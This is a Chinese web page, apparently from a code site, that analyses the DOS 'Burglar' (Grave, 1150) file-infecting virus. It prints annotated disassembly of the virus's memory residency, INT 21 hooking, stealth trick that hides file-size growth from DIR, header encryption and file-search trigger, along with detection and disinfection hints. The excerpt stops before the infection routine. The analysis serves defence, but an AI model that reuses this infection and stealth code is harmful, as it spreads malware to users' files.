?? grave 病毒.txt
字號:
返回病毒原代碼
[1150]病毒技術分析
Burglar 病毒的分析和防治
病毒介紹:
Burglar 病毒,因病毒中有字符串 Grave,又稱 Grave 病毒,病毒長度為 1150 字節(jié),
所以有的地方又稱它為 1150 病毒,它感染DOS的 .EXE 文件,不感染 Windows 的可執(zhí)行文件
當病毒在內存中的時候,UMB 將無法找到,在運行 Windows 95 時經常引起死機。
病毒分析:
1. 病毒的引入部分
9F6A:0000 E95A03 JMP 035D
9F6A:0003 90 41 54 20 54-48 45 20 47 52 41 56 45 .AT THE GRAVE
9F6A:0010 20 4F 46 20 47 52 41 4E-44 4D 41 2E 2E 2E OF GRANDMA...
;由于在病毒中能見到字符串 At the grave of grandma
;所以此病毒又稱 Grave 病毒
...
9F6A:035D 90 NOP
9F6A:035E 90 NOP
9F6A:035F BE0600 MOV SI,0000 ===> ;本數(shù)據 0000 由傳染時設置
9F6A:0362 8BFE MOV DI,SI ;解密原文件頭
9F6A:0364 E88600 CALL 03ED ;病毒在保存原文件頭信息時先加密
9F6A:0367 56 PUSH SI ;所以在使用時要先解密
; MOV AX,F(xiàn)078 再執(zhí)行 INT 21H 是病毒用于檢測自己是否駐留內存的標志
;可以以此來判斷內存中有無病毒
9F6A:0368 B430 MOV AH,30
9F6A:036A 80C448 ADD AH,48
9F6A:036D B0F0 MOV AL,F0
9F6A:036F 86E0 XCHG AH,AL
9F6A:0371 CD21 INT 21 ;駐留檢測
9F6A:0373 0BC0 OR AX,AX ;已駐留轉 03C8
9F6A:0375 7451 JZ 03C8
9F6A:0377 BF7777 MOV DI,7777
9F6A:037A 90 NOP
9F6A:037B 4F DEC DI
9F6A:037C 90 NOP
9F6A:037D 90 NOP
9F6A:037E 75FA JNZ 037A
9F6A:0380 1E PUSH DS ;程序 PSP 段地址 - 1 為內存控制塊
9F6A:0381 8CC3 MOV BX,ES
9F6A:0383 4B DEC BX
9F6A:0384 8EDB MOV DS,BX ;MCB 地址
9F6A:0386 BB0200 MOV BX,0002 ;是否最后一塊 MCB
9F6A:0389 807FFE5A CMP Byte Ptr [BX-02],5A ;不駐留
9F6A:038D 7536 JNZ 03C5
9F6A:038F B95600 MOV CX,0056 ;截取 0560H 字節(jié)內存
9F6A:0392 294F01 SUB [BX+01],CX ;將此塊內存減少 0560H 字節(jié)
9F6A:0395 294F10 SUB [BX+10],CX
9F6A:0398 8E4710 MOV ES,[BX+10]
;由于病毒將最后一塊內存控制塊打斷,造成系統(tǒng)常規(guī)內存跟 UMB 分離,
;結果當病毒駐留內存時,用 MEM 或 MI 將看不到 UMB,這也可以用來
;判斷內存中是否有病毒
9F6A:039B 33C0 XOR AX,AX
9F6A:039D 8ED8 MOV DS,AX
9F6A:039F C5878200 LDS AX,[BX+0082]
9F6A:03A3 2E8984A700 MOV CS:[SI+00A7],AX ;截取 INT 21
9F6A:03A8 2E8C9CA900 MOV CS:[SI+00A9],DS
9F6A:03AD 0E PUSH CS
9F6A:03AE 1F POP DS
9F6A:03AF 33FF XOR DI,DI
9F6A:03B1 B93505 MOV CX,0535 ;駐留內存
9F6A:03B4 FC CLD
9F6A:03B5 F3 REPZ
9F6A:03B6 A4 MOVSB
9F6A:03B7 8ED9 MOV DS,CX
9F6A:03B9 FA CLI
9F6A:03BA 8C878400 MOV [BX+0084],ES ;設置新 INT 21 到 CS:0058
9F6A:03BE C78782005800 MOV Word Ptr [BX+0082],0058
9F6A:03C4 FB STI
9F6A:03C5 07 POP ES
9F6A:03C6 06 PUSH ES
9F6A:03C7 1F POP DS
9F6A:03C8 90 NOP
9F6A:03C9 5E POP SI
9F6A:03CA 90 NOP
9F6A:03CB 8CC3 MOV BX,ES ;重定位 CS:IP 及 SS:SP
9F6A:03CD 83C310 ADD BX,+10
9F6A:03D0 2E019C0B04 ADD CS:[SI+040B],BX
9F6A:03D5 2E019C0304 ADD CS:[SI+0403],BX
9F6A:03DA 2E8E940304 MOV SS,CS:[SI+0403]
9F6A:03DF 2E8BA40504 MOV SP,CS:[SI+0405]
9F6A:03E4 33C0 XOR AX,AX
9F6A:03E6 33DB XOR BX,BX ;執(zhí)行原程序
9F6A:03E8 2EFFAC0904 JMP FAR CS:[SI+0409]
;======================================================================
;加解密原文件頭
;病毒加密源文件頭的方法是按字將文件頭 000A * 2 字節(jié)跟 7776 異或
;這也是解毒時解密原文件頭的辦法
9F6A:03ED 50 PUSH AX
9F6A:03EE 81C70304 ADD DI,0403
9F6A:03F2 B90A00 MOV CX,000A
9F6A:03F5 B87677 MOV AX,7776
9F6A:03F8 90 NOP
9F6A:03F9 2E3105 XOR CS:[DI],AX
9F6A:03FC 47 INC DI
9F6A:03FD 90 NOP
9F6A:03FE E2F9 LOOP 03F9
9F6A:0400 58 POP AX
9F6A:0401 C3 RET
2. 病毒的傳播部分
;=========================================================================
;新的 INT 21 之 11,12 功能
;這兩個 DOS 功能常用于 DIR 命令
;病毒在送回目錄項之前先將染毒文件長度減去 1150 字節(jié)
;結果用 DIR 命令看不到染毒文件長度的增加
9F6A:001E 2EFF1EA700 CALL FAR CS:[00A7] ;調用原 DOS 功能
9F6A:0023 9C PUSHF
9F6A:0024 3CFF CMP AL,FF ;失敗轉 0054 退出
9F6A:0026 742C JZ 0054
9F6A:0028 90 NOP
9F6A:0029 50 PUSH AX
9F6A:002A 56 PUSH SI
9F6A:002B 1E PUSH DS
9F6A:002C 2E8B362F05 MOV SI,CS:[052F] ;取 DTA 地址
9F6A:0031 2E8E1E3105 MOV DS,CS:[0531]
9F6A:0036 803CFF CMP Byte Ptr [SI],FF
9F6A:0039 7503 JNZ 003E ;是否擴展 FCB
9F6A:003B 83C607 ADD SI,+07 ;是, 轉 0054
9F6A:003E 8A4417 MOV AL,[SI+17] ;傳染標志
9F6A:0041 241D AND AL,1D
9F6A:0043 3C1D CMP AL,1D
9F6A:0045 750A JNZ 0051
9F6A:0047 90 NOP
9F6A:0048 816C1D7E04 SUB Word Ptr [SI+1D],047E
9F6A:004D 835C1F00 SBB Word Ptr [SI+1F],+00
9F6A:0051 1F POP DS ;如果傳染
9F6A:0052 5E POP SI ;文件長 - 1150 字節(jié)
9F6A:0053 58 POP AX
9F6A:0054 9D POPF
9F6A:0055 CA0200 RETF 0002 ;INT 21 返回
;====================================================================
; 新的 INT 21 中斷入口
;====================================================================
9F6A:0058 2EC606330500 MOV Byte Ptr CS:[0533],00
9F6A:005E 9C PUSHF
9F6A:005F 3D78F0 CMP AX,F078 ;駐留檢測
9F6A:0062 90 NOP ;入口 AX = F078
9F6A:0063 7506 JNZ 006B ;返回 AX = 0000
9F6A:0065 33C0 XOR AX,AX
9F6A:0067 9D POPF
9F6A:0068 CF IRET
9F6A:0069 90 NOP
9F6A:006A 90 NOP
9F6A:006B 90 NOP
9F6A:006C 80FC11 CMP AH,11 ;11,12 功能 (DIR)
9F6A:006F 74AD JZ 001E ;轉 001E
9F6A:0071 80FC12 CMP AH,12
9F6A:0074 74A8 JZ 001E
9F6A:0076 80FC3D CMP AH,3D ;打開文件
9F6A:0079 7442 JZ 00BD
9F6A:007B 80FC43 CMP AH,43 ;取/改文件屬性
9F6A:007E 743D JZ 00BD
9F6A:0080 80FC13 CMP AH,13 ;使用 FCB 刪除文件
9F6A:0083 7432 JZ 00B7
9F6A:0085 80FC36 CMP AH,36 ;取磁盤剩余空間
9F6A:0088 742D JZ 00B7
9F6A:008A 80FC4B CMP AH,4B ;執(zhí)行文件
9F6A:008D 90 NOP ;13/36 功能在磁盤上
9F6A:008E 90 NOP ;尋找一個文件傳染
9F6A:008F 742C JZ 00BD ;3D/43/4B/6C 功能直接傳染
9F6A:0091 80FC6C CMP AH,6C
9F6A:0094 7427 JZ 00BD
9F6A:0096 80FC1A CMP AH,1A
9F6A:0099 750A JNZ 00A5 ;設置 DTA 地址
9F6A:009B 2E89162F05 MOV CS:[052F],DX ;則保存 DTA 地址于 052F
9F6A:00A0 2E8C1E3105 MOV CS:[0531],DS
9F6A:00A5 9D POPF
9F6A:00A6 EAF8401100 JMP 0011:40F8 ;其它則轉原 INT 21
9F6A:00AB 90 NOP
9F6A:00AC 90 NOP
;從以上代碼可以看出,病毒在打開文件,執(zhí)行文件,提交文件,修改文件屬性
;取磁盤空間等功能都要進行傳染,而這些功能在一個普通文件的執(zhí)行過程中
;幾乎百分百的被用到,造成病毒的傳播很快
;=========================================================================
9F6A:00AD 86E0 XCHG AH,AL ;病毒調用 INT 21
9F6A:00AF 90 NOP
9F6A:00B0 9C PUSHF
9F6A:00B1 2EFF1EA700 CALL FAR CS:[00A7]
9F6A:00B6 C3 RET
9F6A:00B7 2EC6067E0401 MOV Byte Ptr CS:[047E],01 ;設置 DIR 傳染標志
;==========================================================================
9F6A:00BD 90 NOP
9F6A:00BE 50 PUSH AX
9F6A:00BF 53 PUSH BX
9F6A:00C0 51 PUSH CX
9F6A:00C1 52 PUSH DX
9F6A:00C2 1E PUSH DS
9F6A:00C3 06 PUSH ES
9F6A:00C4 56 PUSH SI
9F6A:00C5 57 PUSH DI
9F6A:00C6 80FC6C CMP AH,6C ;6C 功能文件名入口 DS:SI
9F6A:00C9 7502 JNZ 00CD ;更改到 DS:DX
9F6A:00CB 8BD6 MOV DX,SI
9F6A:00CD 2E803E7E0401 CMP Byte Ptr CS:[047E],01
9F6A:00D3 7406 JZ 00DB ;如果在 DIR 中傳染,轉 00DB
9F6A:00D5 E87900 CALL 0151 ;傳染文件
9F6A:00D8 EB5C JMP 0136
9F6A:00DA 90 NOP
;========================================================================
9F6A:00DB 0E PUSH CS
9F6A:00DC 1F POP DS
9F6A:00DD C606340500 MOV Byte Ptr [0534],00
9F6A:00E2 B02F MOV AL,2F ;取 DTA 地址
9F6A:00E4 E8C6FF CALL 00AD
9F6A:00E7 06 PUSH ES
9F6A:00E8 53 PUSH BX
9F6A:00E9 B01A MOV AL,1A ;設置新 DTA 到 04E5
9F6A:00EB BAE504 MOV DX,04E5
9F6A:00EE E8BCFF CALL 00AD
9F6A:00F1 B04E MOV AL,4E ;尋找文件 *.*
9F6A:00F3 B92700 MOV CX,0027
9F6A:00F6 BA2704 MOV DX,0427
9F6A:00F9 E8B1FF CALL 00AD
9F6A:00FC 7230 JB 012E
9F6A:00FE A0FB04 MOV AL,[04FB] ;找到的文件
9F6A:0101 241D AND AL,1D ;是否已傳染
9F6A:0103 3C1D CMP AL,1D
9F6A:0105 7423 JZ 012A ;已傳染找下一文件
9F6A:0107 833E010500 CMP Word Ptr [0501],+00
9F6A:010C 7508 JNZ 0116
9F6A:010E 813EFF04E803 CMP Word Ptr [04FF],03E8
9F6A:0114 7214 JB 012A ;文件 < 03E8 找下一文件
9F6A:0116 C70625050305 MOV Word Ptr [0525],0503
9F6A:011C BA0305 MOV DX,0503 ;0525 為文件名指針
9F6A:011F E82F00 CALL 0151 ;傳染文件
9F6A:0122 2E803E340503 CMP Byte Ptr CS:[0534],03
9F6A:0128 7404 JZ 012E ;0534 為傳染是否成功
9F6A:012A B04F MOV AL,4F ;如果成功退出
9F6A:012C EBCB JMP 00F9 ;否則找下一文件
9F6A:012E 5A POP DX
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -